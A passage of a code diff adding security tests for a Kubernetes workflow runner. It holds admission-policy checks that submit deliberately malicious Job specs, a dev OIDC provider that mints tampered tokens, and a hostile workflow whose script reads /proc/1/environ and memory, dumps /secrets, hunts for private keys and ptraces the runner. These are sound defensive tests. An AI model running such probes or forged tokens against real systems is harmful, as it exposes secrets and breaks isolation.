delete e.value; + e.valueFrom = { secretKeyRef: { name: operatorSecret, key: "operator-token" } }; + }, + ], + ["Secret envFrom", (j) => (ctr(j).envFrom = [{ secretRef: { name: operatorSecret } }])], + ["service-account token mount (automount)", (j) => (pod(j).automountServiceAccountToken = true)], + ["service-account token mount (projected volume)", (j) => (pod(j).volumes.push({ name: "token", projected: { sources: [{ serviceAccountToken: { path: "token" } }] } }), ctr(j).volumeMounts.push({ name: "token", mountPath: "/var/run/secrets/kubernetes.io/serviceaccount", readOnly: true }))], + ["the executor's service account", (j) => (pod(j).serviceAccountName = `${full}-executor`)], + ["alternate runner image (by digest)", (j) => (ctr(j).image = `docker.io/library/busybox@sha256:${"b".repeat(64)}`)], + ["mutable image tag (the runner's own repository)", (j) => (ctr(j).image = config.runnerImage.replace(/@sha256:.*$/, ":local"))], + ["image pull policy Always", (j) => (ctr(j).imagePullPolicy = "Always")], + ["added sidecar", (j) => pod(j).containers.push({ ...structuredClone(ctr(j)), name: "sidecar" })], + ["added init container", (j) => (pod(j).initContainers = [{ ...structuredClone(ctr(j)), name: "init" }])], + ["privilege escalation", (j) => (ctr(j).securityContext.allowPrivilegeEscalation = true)], + ["missing pod securityContext", (j) => delete pod(j).securityContext], + ["missing container securityContext", (j) => delete ctr(j).securityContext], + ["runs as root", (j) => (pod(j).securityContext.runAsUser = 0)], + ["writable root filesystem", (j) => (ctr(j).securityContext.readOnlyRootFilesystem = false)], + ["capability added (NET_ADMIN)", (j) => (ctr(j).securityContext.capabilities.add = ["NET_ADMIN"])], + ["capabilities not dropped", (j) => (ctr(j).securityContext.capabilities = {})], + ["seccomp Unconfined", (j) => (pod(j).securityContext.seccompProfile = { type: "Unconfined" })], + ["excessive resource requests and limits", (j) => (ctr(j).resources = { requests: { cpu: "32", memory: "64Gi" }, limits: { cpu: "32", memory: "64Gi", "ephemeral-storage": "1Ti" } })], + ["no resource limits", (j) => delete ctr(j).resources.limits], + ["extended resource (GPU)", (j) => ((ctr(j).resources.limits["nvidia.com/gpu"] = "1"), (ctr(j).resources.requests["nvidia.com/gpu"] = "1"))], + ["unbounded emptyDir", (j) => delete volume(j, "work").emptyDir.sizeLimit], + ["memory-backed emptyDir", (j) => (volume(j, "work").emptyDir.medium = "Memory")], + ["writable snapshot volume", (j) => ((volume(j, "snapshot").persistentVolumeClaim.readOnly = false), (mount(j, "snapshot").readOnly = false))], + ["whole snapshot volume (no subPath)", (j) => delete mount(j, "snapshot").subPath], + ["another PersistentVolumeClaim", (j) => (volume(j, "snapshot").persistentVolumeClaim.claimName = "someone-elses-data")], + ["ConfigMap volume", (j) => (pod(j).volumes.push({ name: "cm", configMap: { name: `${full}-bindings` } }), ctr(j).volumeMounts.push({ name: "cm", mountPath: "/cm" }))], + ["another command (sh -c)", (j) => (ctr(j).command = ["sh", "-c", "cat /secrets/*"])], + ["extra arguments", (j) => (ctr(j).args = ["--inspect"])], + ["unknown environment variable (NODE_OPTIONS)", (j) => ctr(j).env.push({ name: "NODE_OPTIONS", value: "--require /work/x.js" })], + ["exec probe", (j) => (ctr(j).livenessProbe = { exec: { command: ["sh", "-c", "id"] } })], + ["no runner labels (escapes the deny-all NetworkPolicy)", (j) => (j.spec.template.metadata.labels = { app: "x" })], + ["egress network label while egress mode is off", (j) => (j.spec.template.metadata.labels["gha-emergency.github-actions-ui/network"] = "egress")], + ["pinned to a node (nodeName)", (j) => (pod(j).nodeName = "control-plane")], + ["toleration of every taint", (j) => (pod(j).tolerations = [{ operator: "Exists" }])], + ["runtime class", (j) => (pod(j).runtimeClassName = "unconfined")], + ["parallelism 20 (bypasses maxConcurrent)", (j) => ((j.spec.parallelism = 20), (j.spec.completions = 20))], + ["retries (backoffLimit 6)", (j) => (j.spec.backoffLimit = 6)], + ["no deadline", (j) => delete j.spec.activeDeadlineSeconds], +]; +const bindingPath = `/apis/admissionregistration.k8s.io/v1/validatingadmissionpolicybindings/${policyName}`; +/** Runs f with the policy's binding removed (a cluster without H4), then restores the binding. */ +async function withoutBinding(f: () => Promise) { + const binding = (await call("GET", bindingPath)).body; + await call("DELETE", bindingPath); + try { + // The API server drops the binding from its policy cache shortly after the delete. + for (let i = 0; i < 10 && (await call("POST", `${jobsPath()}?dryRun=All`, mutate(execution(), privileged), executorUser)).status !== 201; i++) await sleep(1000); + await f(); + } finally { + const restored = await call("POST", "/apis/admissionregistration.k8s.io/v1/validatingadmissionpolicybindings", { apiVersion: binding.apiVersion, kind: binding.kind, metadata: { name: binding.metadata.name, labels: binding.metadata.labels, annotations: binding.metadata.annotations }, spec: binding.spec }); + if (restored.status !== 201) console.log(`COULD NOT RESTORE THE BINDING: ${brief(restored)}`); + } +} + +const version = (await call("GET", "/version")).body; +console.log(`API server ${server.origin} (Kubernetes ${version.gitVersion}), namespace ${ns}, policy ${policyName}, as ${executorUser}\n`); + +if (args.reproduce) { + console.log("Reproduction: what the executor's RBAC allows without the admission policy (binding removed)\n"); + await withoutBinding(async () => { + const sent: { name: string; job: Obj; status: number }[] = []; + for (const [name, f, needsSecret] of malicious) { + const job = mutate(execution({ secret: needsSecret }), f); + sent.push({ name, job, status: (await call("POST", jobsPath(), job, executorUser)).status }); + } + await sleep(20_000); + for (const { name, job, status } of sent) { + const pods = status === 201 ? ((await call("GET", `/api/v1/namespaces/${ns}/pods?labelSelector=${encodeURIComponent(`job-name=${job.metadata.name}`)}`)).body.items ?? []) : []; + console.log(`${status === 201 ? "Job accepted" : `refused ${status}`.padEnd(12)} ${pods.length ? "pod admitted" : "no pod "} ${name}`); + if (status === 201) await call("DELETE", `${jobsPath()}/${job.metadata.name}?propagationPolicy=Background`); + } + }); + process.exit(0); +} + +console.log("Legitimate runner Jobs, exactly as the executor builds them (must be accepted):"); +await expectAccepted("execution, isolated, no Secret", execution()); +if (bound) await expectAccepted(`execution with bound Secret ${bound.secret} (${bound.keys[0]}) for its snapshot`, execution({ secret: true })); +else record("execution with a bound Secret", false, "no secretBindings installed: install the chart with one"); +for (const role of ["probe-isolated", "control"] as const) await expectAccepted(`network canary ${role}`, canary(role)); + +console.log("\nMalicious Jobs (must be refused by the admission policy, and not stored):"); +for (const [name, f, needsSecret] of malicious) { + if (needsSecret && !bound) record(`refused: ${name}`, false, "needs a secretBinding"); + else await expectDenied(name, mutate(execution({ secret: needsSecret }), f)); +} +await expectDenied("canary command with the snapshot mounted", mutate(canary("probe-isolated"), (j) => (pod(j).volumes.push({ name: "snapshot", persistentVolumeClaim: { claimName: config.pvcName, readOnly: true } }), ctr(j).volumeMounts.push({ name: "snapshot", mountPath: "/snapshot", subPath: `snapshots/${"a".repeat(64)}`, readOnly: true })))); +await expectDenied("canary control pod with a Secret", mutate(canary("control"), (j) => pod(j).volumes.push({ name: "secrets", secret: { secretName: bound?.secret ?? "x", items: [{ key: "k", path: "k" }] } }))); +await expectDenied("a cluster administrator's privileged Job (the policy is not identity-based)", mutate(execution(), privileged), null); + +console.log("\nOutside the policy (RBAC, unchanged):"); +const job = execution(); +{ + const other = await call("POST", jobsPath("default"), mutate(execution(), (j) => (j.metadata.namespace = "default")), executorUser); + record("refused: Job in another namespace", other.status === 403 && /cannot create resource "jobs"/.test(String(other.body.message)), brief(other)); + const created = await call("POST", jobsPath(), job, executorUser); + const patch = await call("PATCH", `${jobsPath()}/${job.metadata.name}`, { spec: { parallelism: 5 } }, executorUser); + record("refused: executor changing a Job it created (no update or patch)", created.status === 201 && patch.status === 403, `${created.status} then ${brief(patch)}`); + const direct = await call("POST", `/api/v1/namespaces/${ns}/pods`, { apiVersion: "v1", kind: "Pod", metadata: { name: "direct" }, spec: pod(execution()) }, executorUser); + record("refused: executor creating a Pod directly", direct.status === 403, brief(direct)); +} + +if (args.pods) { + console.log("\nPods (checked again after mutating admission):"); + let pods: Obj[] = []; + const selector = encodeURIComponent(`gha-emergency.github-actions-ui/execution=${job.spec.template.metadata.labels["gha-emergency.github-actions-ui/execution"]}`); + for (let i = 0; i < 30 && !pods.length; i++) { + pods = (await call("GET", `/api/v1/namespaces/${ns}/pods?labelSelector=${selector}`)).body.items ?? []; + if (!pods.length) await sleep(1000); + } + record("the Job controller's pod for a legitimate Job is admitted (policy and Pod Security restricted)", pods.length === 1, `${pods.length} pod(s)`); + const owner = (await call("GET", `${jobsPath()}/${job.metadata.name}`)).body; + const spec = structuredClone(pod(job)); + spec.containers.push({ ...structuredClone(spec.containers[0]), name: "injected" }); + const name = `${job.metadata.name}-injected`; + const injected = await call("POST", `/api/v1/namespaces/${ns}/pods`, { apiVersion: "v1", kind: "Pod", metadata: { name, labels: job.spec.template.metadata.labels, ownerReferences: [{ apiVersion: "batch/v1", kind: "Job", name: owner.metadata.name, uid: owner.metadata.uid, controller: true }] }, spec }); + record("refused: Job-owned Pod with an injected sidecar that Pod Security restricted allows", deniedByPolicy(injected), brief(injected)); + if (injected.status === 201) await call("DELETE", `/api/v1/namespaces/${ns}/pods/${name}`); +} +await call("DELETE", `${jobsPath()}/${job.metadata.name}?propagationPolicy=Background`); + +// The executor's own proof, through its real module, with the executor's identity. +const kube: KubeApi = { + async createJob(j, options) { + const r = await call("POST", `${jobsPath()}${options?.dryRun ? "?dryRun=All" : ""}`, j, executorUser); + if (r.status < 200 || r.status >= 300) throw new KubeError(r.status, `Kubernetes API POST jobs returned ${r.status}: ${r.body.message}`); + }, + getJob: async () => undefined, + deleteJob: async () => {}, + listPods: async () => [], + podLog: async () => "", + podWarnings: async () => [], +}; +const check = () => createAdmissionCheck({ kube, config: { namespace: ns, runnerImage: config.runnerImage, runnerServiceAccount: config.serviceAccountName, executorPodLabels: config.executorPodLabels, policyName, maxAgeMs: 0, retryMs: 0 } }).run(); +console.log("\nThe executor's admission check (deploy/emergency/executor/admission-check.ts):"); +{ + const r = await check(); + record(`reports "enforced"`, r.state === "enforced", `${r.state}: ${r.reason}`); +} + +if (args["negative-control"]) { + console.log("\nNegative controls (installed is not enforced):"); + const nsPath = `/api/v1/namespaces/${ns}`; + const label = "gha-emergency.github-actions-ui/dedicated"; + await call("PATCH", nsPath, { metadata: { labels: { [label]: null } } }); + try { + const undedicated = await call("POST", jobsPath(), execution(), executorUser); + record("refused: a legitimate Job once the namespace loses its dedicated label", deniedByPolicy(undedicated), brief(undedicated)); + const r = await check(); + record(`the executor's check is not "enforced" then`, r.state !== "enforced", `${r.state}: ${r.reason}`); + } finally { + await call("PATCH", nsPath, { metadata: { labels: { [label]: "true" } } }); + } + + await withoutBinding(async () => { + const dry = await call("POST", `${jobsPath()}?dryRun=All`, mutate(execution(), privileged), executorUser); + record("without the binding, the privileged Job is accepted (dry run): the policy, not RBAC or Pod Security, was refusing it", dry.status === 201, brief(dry)); + const r = await check(); + record(`the executor's check reports "not-enforced" without the binding`, r.state === "not-enforced", `${r.state}: ${r.reason}`); + }); + let r = await check(); + for (let i = 0; i < 10 && r.state !== "enforced"; i++) { + await sleep(1000); + r = await check(); + } + record(`the executor's check reports "enforced" again once the binding is restored`, r.state === "enforced", `${r.state}: ${r.reason}`); +} + +const failed = results.filter((r) => !r.ok); +console.log(`\n${results.length - failed.length}/${results.length} passed`); +process.exit(failed.length ? 1 : 0); diff --git a/tools/emergency/demo-repos.ts b/tools/emergency/demo-repos.ts new file mode 100644 index 0000000..00eaaf6 --- /dev/null +++ b/tools/emergency/demo-repos.ts @@ -0,0 +1,30 @@ +// The demo pipeline (examples/emergency-demo and its shared actions) as in-memory repositories, for tests and the +// local snapshot tool. Commit SHAs are fixed test values, not git's. +import { readdirSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import type { MemoryRepo } from "../../src/emergency/memory-reader.ts"; + +export const DEMO_REPO = "emergency-demo/release-pipeline"; +export const DEMO_SHA = "1111111111111111111111111111111111111111"; +export const SHARED_SHA = "2222222222222222222222222222222222222222"; + +export function readDir(dir: string): Record { + const files: Record = {}; + const walk = (abs: string, rel: string) => { + for (const e of readdirSync(abs, { withFileTypes: true })) { + const r = rel ? `${rel}/${e.name}` : e.name; + if (e.isDirectory()) walk(join(abs, e.name), r); + else if (e.isFile()) files[r] = new Uint8Array(readFileSync(join(abs, e.name))); + } + }; + walk(dir, ""); + return files; +} + +export function demoRepos(repoRoot: string): Record { + const demo = readDir(join(repoRoot, "examples/emergency-demo")); + return { + [DEMO_REPO]: { refs: ["main"], sha: DEMO_SHA, files: demo, executable: Object.keys(demo).filter((p) => p.endsWith(".sh")) }, + "demo-org/shared-actions": { refs: ["v1"], sha: SHARED_SHA, files: readDir(join(repoRoot, "examples/emergency-demo-shared-actions")) }, + }; +} diff --git a/tools/emergency/dev-oidc.ts b/tools/emergency/dev-oidc.ts new file mode 100644 index 0000000..00ae86e --- /dev/null +++ b/tools/emergency/dev-oidc.ts @@ -0,0 +1,130 @@ +// A minimal OpenID Connect provider for local development and tests of emergency-execution sign-in (security review +// H2). NOT for production: it signs in whichever listed user is chosen, without a password. It implements exactly what +// the executor uses: discovery, a JWKS, the authorization endpoint (authorization code with PKCE S256) and the token +// endpoint, with RS256 ID tokens carrying the login's nonce. +// +// node --disable-warning=ExperimentalWarning tools/emergency/dev-oidc.ts --port 9400 \ +// --client-id gha-emergency --redirect-uri http://localhost:5173/api/emergency/auth/callback --users alice,bob,carol +// +// The executor then needs auth.oidc.issuer http://127.0.0.1:9400 and auth.oidc.allowInsecureHttp: true. +// +// Tests use createDevIdp() in process: its fetch() answers the executor's requests without a network, and tamper() +// makes the next ID token wrong in a chosen way (wrong signer, audience, issuer, nonce, expiry, algorithm, claims). +import { createHash, generateKeyPairSync, randomBytes, sign, type KeyObject } from "node:crypto"; +import { createServer } from "node:http"; +import { fileURLToPath } from "node:url"; +import { parseArgs } from "node:util"; + +export type DevUser = { sub: string; name: string; email?: string }; +export type Tamper = { + /** Sign with a key the provider doesn't publish. */ + foreignKey?: boolean; + /** Header algorithm (e.g. "none", "HS256"); with "none" the signature is empty. */ + alg?: string; + /** Claims to add or override (e.g. roles, aud, iss, exp, nonce). */ + claims?: Record; +}; + +const b64 = (v: unknown) => Buffer.from(JSON.stringify(v)).toString("base64url"); + +export function createDevIdp(o: { issuer: string; clientId: string; redirectUri: string; users: DevUser[]; clientSecret?: string; now?: () => Date }) { + const now = o.now ?? (() => new Date()); + const keyPair = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const foreign = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const kid = randomBytes(8).toString("hex"); + const codes = new Map(); + let nextTamper: Tamper | undefined; + const tokenRequests: { body: string; authorization?: string }[] = []; + + function mint(user: DevUser, nonce: string, tamper: Tamper = {}): string { + const t = Math.floor(now().getTime() / 1000); + const alg = tamper.alg ?? "RS256"; + const header = b64({ alg, kid, typ: "JWT" }); + const payload = b64({ iss: o.issuer, sub: user.sub, aud: o.clientId, iat: t, exp: t + 300, nonce, name: user.name, email: user.email, ...tamper.claims }); + if (alg === "none") return `${header}.${payload}.`; + if (alg.startsWith("HS")) return `${header}.${payload}.${createHash("sha256").update(`${header}.${payload}`).digest("base64url")}`; + const key: KeyObject = tamper.foreignKey ? foreign.privateKey : keyPair.privateKey; + return `${header}.${payload}.${sign("sha256", Buffer.from(`${header}.${payload}`), key).toString("base64url")}`; + } + + const json = (status: number, body: unknown) => new Response(JSON.stringify(body), { status, headers: { "Content-Type": "application/json" } }); + + /** The provider's endpoints, as a fetch: what the executor's OIDC client calls. */ + async function handle(url: string, init: RequestInit = {}): Promise { + const u = new URL(url); + if (!url.startsWith(o.issuer)) return json(404, { error: "not this provider" }); + const path = u.pathname.slice(new URL(o.issuer).pathname.replace(/\/$/, "").length); + if (path === "/.well-known/openid-configuration") { + return json(200, { issuer: o.issuer, authorization_endpoint: `${o.issuer}/authorize`, token_endpoint: `${o.issuer}/token`, jwks_uri: `${o.issuer}/jwks`, response_types_supported: ["code"], id_token_signing_alg_values_supported: ["RS256"], code_challenge_methods_supported: ["S256"] }); + } + if (path === "/jwks") return json(200, { keys: [{ ...keyPair.publicKey.export({ format: "jwk" }), kid, use: "sig", alg: "RS256" }] }); + if (path === "/authorize") { + const q = u.searchParams; + if (q.get("client_id") !== o.clientId || q.get("redirect_uri") !== o.redirectUri || q.get("response_type") !== "code" || q.get("code_challenge_method") !== "S256") return json(400, { error: "invalid_request" }); + const user = o.users.find((x) => x.sub === q.get("login_hint")); + if (!user) { + const links = o.users.map((x) => `
  • ${x.name}
    • `).join(""); + return new Response(`Dev sign-in

    Development sign-in (no password)

      ${links}
    `, { status: 200, headers: { "Content-Type": "text/html" } }); + } + const code = randomBytes(16).toString("hex"); + codes.set(code, { user, nonce: q.get("nonce") ?? "", challenge: q.get("code_challenge") ?? "", redirectUri: q.get("redirect_uri")! }); + const back = new URL(o.redirectUri); + back.searchParams.set("code", code); + back.searchParams.set("state", q.get("state") ?? ""); + return new Response(null, { status: 302, headers: { Location: back.toString() } }); + } + if (path === "/token" && init.method === "POST") { + const body = String(init.body ?? ""); + const headers = new Headers(init.headers); + tokenRequests.push({ body, authorization: headers.get("authorization") ?? undefined }); + const f = new URLSearchParams(body); + const c = codes.get(f.get("code") ?? ""); + codes.delete(f.get("code") ?? ""); + if (!c) return json(400, { error: "invalid_grant" }); + if (f.get("client_id") !== o.clientId || f.get("redirect_uri") !== c.redirectUri) return json(400, { error: "invalid_client" }); + if (createHash("sha256").update(f.get("code_verifier") ?? "").digest("base64url") !== c.challenge) return json(400, { error: "invalid_grant", error_description: "PKCE verification failed" }); + if (o.clientSecret && headers.get("authorization") !== `Basic ${Buffer.from(`${o.clientId}:${o.clientSecret}`).toString("base64")}`) return json(401, { error: "invalid_client" }); + const tamper = nextTamper; + nextTamper = undefined; + return json(200, { access_token: randomBytes(16).toString("hex"), token_type: "Bearer", id_token: mint(c.user, c.nonce, tamper) }); + } + return json(404, { error: "not found" }); + } + + return { + fetch: handle, + mint, + tokenRequests, + /** The next ID token is wrong in this way. */ + tamper(t: Tamper) { + nextTamper = t; + }, + /** Follows the authorization redirect as the browser would, choosing a user; returns the callback's query. */ + async authorize(authorizationUrl: string, sub: string): Promise { + const u = new URL(authorizationUrl); + u.searchParams.set("login_hint", sub); + const r = await handle(u.toString()); + const location = r.headers.get("location"); + if (r.status !== 302 || !location) throw new Error(`The dev provider refused the authorization request (${r.status})`); + return new URL(location).searchParams; + }, + }; +} + +// ---- command line: a real HTTP provider for local development ------------------------------------------------------ + +if (process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]) { + const { values } = parseArgs({ options: { port: { type: "string", default: "9400" }, "client-id": { type: "string", default: "gha-emergency" }, "redirect-uri": { type: "string" }, users: { type: "string", default: "alice,bob,carol" } } }); + if (!values["redirect-uri"]) throw new Error("--redirect-uri is required"); + const issuer = `http://127.0.0.1:${values.port}`; + const idp = createDevIdp({ issuer, clientId: values["client-id"]!, redirectUri: values["redirect-uri"], users: values.users!.split(",").map((n) => ({ sub: `dev-${n}`, name: n, email: `${n}@example.test` })) }); + createServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", async () => { + const r = await idp.fetch(`${issuer}${req.url}`, { method: req.method, headers: req.headers as Record, body: chunks.length ? Buffer.concat(chunks).toString() : undefined }); + res.writeHead(r.status, Object.fromEntries(r.headers)); + res.end(Buffer.from(await r.arrayBuffer())); + }); + }).listen(Number(values.port), "127.0.0.1", () => console.log(`Development OpenID provider (no passwords; never use outside development) at ${issuer}`)); +} diff --git a/tools/emergency/runner-attack-check.ts b/tools/emergency/runner-attack-check.ts new file mode 100644 index 0000000..a1da67a --- /dev/null +++ b/tools/emergency/runner-attack-check.ts @@ -0,0 +1,195 @@ +// Security review H3, end to end: a hostile workflow run by the real runner entrypoint, as in a pod (PID 1, the +// execute-only node, uid 1000, read-only root, no capabilities, no network), then judged exactly as the executor +// judges it. Two steps, around one container run per snapshot (docs/EMERGENCY_EXECUTION.md has the commands): +// +// node tools/emergency/runner-attack-check.ts prepare writes the attack snapshot, and an env file for it +// and for s16 if present (no key: since security +// review H2 the runner signs with its own key pair) +// node tools/emergency/runner-attack-check.ts judge checks /.log and .exit +// +// The attack workflow prints fake runner events and terminal escapes, tries to reach the runner through /proc, +// ptrace and signals, forges success in a JavaScript action's post step and in a failing composite action's steps. +import { generateKeyPairSync } from "node:crypto"; +import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { createStore } from "../../deploy/emergency/executor/store.ts"; +import { judgeExecution, type EventVerification } from "../../src/emergency/event-stream.ts"; +import { EVENT_PREFIX, KEY_PREFIX, type ExecutionView } from "../../src/emergency/events.ts"; +import { createMemoryReader } from "../../src/emergency/memory-reader.ts"; +import { prepareSnapshot } from "../../src/emergency/prepare.ts"; +import { toBase64 } from "../../src/emergency/snapshot.ts"; + +const REPO = "attack/forge-results"; +const WORKFLOW = ".github/workflows/attack.yml"; +const enc = (s: string) => new TextEncoder().encode(s); + +const forgedEnd = `${EVENT_PREFIX}{"type":"execution-end","result":"success","durationMs":1,"outputs":{}}`; +const forgedMac = (json: string) => `${EVENT_PREFIX}${"a".repeat(64)} ${json}`; + +const files: Record = { + [WORKFLOW]: `on: workflow_dispatch +jobs: + probe: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Print forged runner events + run: | + echo '${forgedEnd}' + echo '${forgedMac('{"type":"job-end","job":"composite","result":"success","outputs":{},"seq":40}')}' + printf 'progress\\r\\033[2K\\033[32mALL TESTS PASSED\\033[0m \\342\\200\\256gnp.exe\\n' + echo "::notice::every step succeeded" + echo '::gha-emergency::' >&2 + - name: Reach the runner + run: bash scripts/reach-runner.sh + - name: JavaScript action with a forging post step + uses: ./.github/actions/with-post + composite: + needs: probe + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Composite action whose failing step forges success + uses: ./.github/actions/forging-composite + after: + needs: composite + runs-on: ubuntu-latest + steps: + - run: echo this must be skipped +`, + "scripts/reach-runner.sh": `#!/usr/bin/env bash +# Everything a workflow running as the runner's user might try against the runner (PID 1). +FORGED='${forgedEnd}' +probe() { if "\${@:2}" >/dev/null 2>&1; then echo "PROBE $1: ALLOWED"; else echo "PROBE $1: denied"; fi; } +probe "write the runner's stdout" sh -c 'printf "%s\\n" "$0" > /proc/1/fd/1' "$FORGED" +probe "write the runner's stderr" sh -c 'printf "%s\\n" "$0" > /proc/1/fd/2' "$FORGED" +probe "list the runner's open files" ls /proc/1/fd +probe "read the runner's environment" cat /proc/1/environ +probe "read the runner's memory map" cat /proc/1/maps +probe "read the runner's memory" dd if=/proc/1/mem bs=1 count=1 skip=4194304 +probe "ptrace-attach to the runner" python3 -c 'import ctypes,sys; sys.exit(0 if ctypes.CDLL(None).ptrace(16, 1, 0, 0) == 0 else 1)' +probe "find a signing key in the step's environment" sh -c 'env | grep -qi "event_key\\|private"' +# The pattern is split so this script, which is in the workspace too, doesn't match itself. +probe "find the runner's private key on disk" sh -c 'grep -rqs "PRIVATE"" KEY" /tmp /work /snapshot' +# Signals: PID 1 ignores those it has no handler for; the runner must still finish and report. +for s in TERM INT HUP USR1 USR2 STOP KILL; do kill -s $s 1 2>/dev/null; done +echo "PROBE signals: sent" +`, + ".github/actions/with-post/action.yml": `name: with-post +runs: + using: node20 + main: main.js + post: post.js +`, + ".github/actions/with-post/main.js": `console.log("main ran");\n`, + ".github/actions/with-post/post.js": `console.log(${JSON.stringify(forgedEnd)});\nconsole.log("::gha-emergency::" + "f".repeat(64) + " {}");\nprocess.exitCode = 0;\n`, + ".github/actions/forging-composite/action.yml": `name: forging-composite +runs: + using: composite + steps: + - name: Inner step that succeeds + shell: bash + run: echo inner one ok + - name: Inner step that fails but prints success + shell: bash + run: | + echo '${forgedMac('{"type":"step-end","job":"composite","step":2,"outcome":"success","conclusion":"success","exitCode":0,"durationMs":1,"outputs":{},"seq":30}')}' + echo '${forgedEnd}' + exit 5 +`, +}; + +async function prepare(dir: string) { + mkdirSync(dir, { recursive: true }); + const repos = { [REPO]: { refs: ["main"], sha: "3".repeat(40), files: Object.fromEntries(Object.entries(files).map(([p, c]) => [p, enc(c)])), executable: ["scripts/reach-runner.sh"] } }; + const { manifest, contents } = await prepareSnapshot(createMemoryReader(repos), { repository: REPO, ref: "main", workflows: [WORKFLOW], name: "h3 attack", expiresInDays: 1 }); + const store = createStore(join(dir, "data")); + const { record, problems } = await store.put({ manifest, contents: Object.fromEntries([...contents].map(([k, v]) => [k, toBase64(v)])) }); + if (!record) throw new Error(`The executor would refuse the attack snapshot: ${problems.map((p) => p.message).join("; ")}`); + const env = (execution: object) => `GHA_EMERGENCY_EXECUTION=${JSON.stringify(execution)}\nGHA_EMERGENCY_NETWORK_PROBE=\n`; + writeFileSync(join(dir, "attack.env"), env({ id: "a77ac4a77ac4a77a", workflow: WORKFLOW, digest: record.id, inputs: {}, variables: {} })); + writeFileSync(join(dir, "attack.snapshot"), store.subPath(record.id)); + const s16 = join(dir, "s16-snapshot"); + if (existsSync(join(s16, "manifest.json"))) { + const m = JSON.parse(readFileSync(join(s16, "manifest.json"), "utf8")) as { entryWorkflows: string[] }; + const digest = readFileSync(join(dir, "s16.digest"), "utf8").trim(); + writeFileSync(join(dir, "s16.env"), env({ id: "516516516516516a", workflow: m.entryWorkflows[0], digest, inputs: { outcome: "pass" }, variables: {} })); + } + console.log(`prepared ${record.id} (executable: ${record.executable})`); +} + +type Check = { name: string; ok: boolean; detail?: string }; + +async function judgeRun(dir: string, name: string): Promise<{ view: ExecutionView; text: string; key: EventVerification; exitCode: number }> { + const id = (JSON.parse(/GHA_EMERGENCY_EXECUTION=(.*)/.exec(readFileSync(join(dir, `${name}.env`), "utf8"))![1]!) as { id: string }).id; + const key: EventVerification = { kind: "ed25519", execution: id }; + const text = readFileSync(join(dir, `${name}.log`), "utf8"); + const exitCode = Number(readFileSync(join(dir, `${name}.exit`), "utf8").trim()); + return { view: await judgeExecution(text, key, exitCode, true), text, key, exitCode }; +} + +async function judge(dir: string): Promise { + const checks: Check[] = []; + const check = (name: string, ok: boolean, detail?: unknown) => checks.push({ name, ok, detail: ok ? undefined : typeof detail === "string" ? detail : JSON.stringify(detail) }); + const { view, text, key, exitCode } = await judgeRun(dir, "attack"); + const jobs = view.jobs.map((j) => `${j.job}:${j.status}`).join(", "); + check("the event stream verifies and is complete", view.stream?.ok === true && view.stream.complete, view.stream); + check("the runner reports failure and its container exited 1; the executor reports failure, not success", view.status === "failure" && exitCode === 1, `${view.status} / exit ${exitCode}: ${view.reason}`); + check("job results: probe success, composite failure, after skipped", jobs === "probe:success, composite:failure, after:skipped", jobs); + const inner = view.jobs.find((j) => j.job === "composite")?.steps.find((s) => s.name.includes("fails but prints success")); + check("the composite's failing inner step is recorded with its real exit code 5", inner?.status === "failure" && inner.exitCode === 5, inner); + const post = view.jobs.find((j) => j.job === "probe")?.steps.find((s) => s.name.startsWith("Post ")); + check("the JavaScript action's post step ran and is recorded", post?.status === "success", view.jobs.find((j) => j.job === "probe")?.steps.map((s) => `${s.name}:${s.status}`)); + const logs = view.logs.map((l) => l.text); + for (const line of logs.filter((l) => l.startsWith("PROBE "))) check(line, line.endsWith(": denied") || line === "PROBE signals: sent", line); + check("every probe against the runner ran", logs.filter((l) => l.startsWith("PROBE ")).length === 10, logs.filter((l) => l.startsWith("PROBE "))); + check("forged events stay log data from the workflow's streams", logs.filter((l) => l.includes('"result":"success"')).length >= 4 && view.logs.filter((l) => l.text.includes(EVENT_PREFIX)).every((l) => l.stream === "stdout" || l.stream === "stderr")); + const raw = JSON.stringify(view); + // eslint-disable-next-line no-control-regex -- matching control characters is the point + check("no control, ANSI or bidirectional characters reach the view", !/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u202a-\u202e]/.test(view.logs.map((l) => l.text).join("\n")) && logs.some((l) => l.includes("\\x1b[2K") && l.includes("\\u202e"))); + check("the workflow's annotation is marked as the workflow's", view.annotations.some((a) => a.message === "every step succeeded" && a.source === "workflow"), view.annotations); + // H2: the runner's key pair is its own; only the public key appears, once, on the first line. + const keyLines = text.split("\n").filter((l) => l.startsWith(KEY_PREFIX)); + check("the log begins with the runner's public key, and no private key material appears anywhere", text.startsWith(KEY_PREFIX) && keyLines.length === 1 && !/PRIVATE KEY|privateKey/.test(text) && !/PRIVATE KEY|privateKey/.test(raw), keyLines); + + // The same genuine log, tampered with afterwards, and a false exit code: never the forged result. + const lines = text.split("\n"); + const at = (pred: (l: string) => boolean) => lines.findIndex(pred); + const failingEnd = at((l) => l.includes('"type":"step-end"') && l.includes('"exitCode":5')); + const tampered: [string, string, number][] = [ + ["the failing step's event removed", lines.filter((_, i) => i !== failingEnd).join("\n"), 1], + ["the failing step's event edited to success", lines.map((l, i) => (i === failingEnd ? l.replace('"outcome":"failure","conclusion":"failure","exitCode":5', '"outcome":"success","conclusion":"success","exitCode":0') : l)).join("\n"), 1], + ["a fake success line appended", `${text}${forgedEnd}\n`, 0], + ["the stream cut before the final result", lines.slice(0, -3).join("\n"), 1], + ["the final result edited to success", text.replace(/("type":"execution-end"[^\n]*"result":)"failure"/, '$1"success"'), 0], + ["the genuine log with a false exit code 0", text, 0], + ["the runner's key line replaced by another key", text.replace(/"publicKey":"[0-9a-f]{64}"/, `"publicKey":"${generateKeyPairSync("ed25519").publicKey.export({ format: "der", type: "spki" }).subarray(-32).toString("hex")}"`), 1], + ["the key line removed", lines.slice(1).join("\n"), 1], + ]; + for (const [what, t, code] of tampered) { + const v = await judgeExecution(t, key, code, true); + check(`tampered: ${what} -> error`, t !== text || code !== exitCode ? v.status === "error" : false, `${v.status}: ${v.reason}`); + } + + if (existsSync(join(dir, "s16.log"))) { + const s = await judgeRun(dir, "s16"); + const sj = s.view.jobs.map((j) => 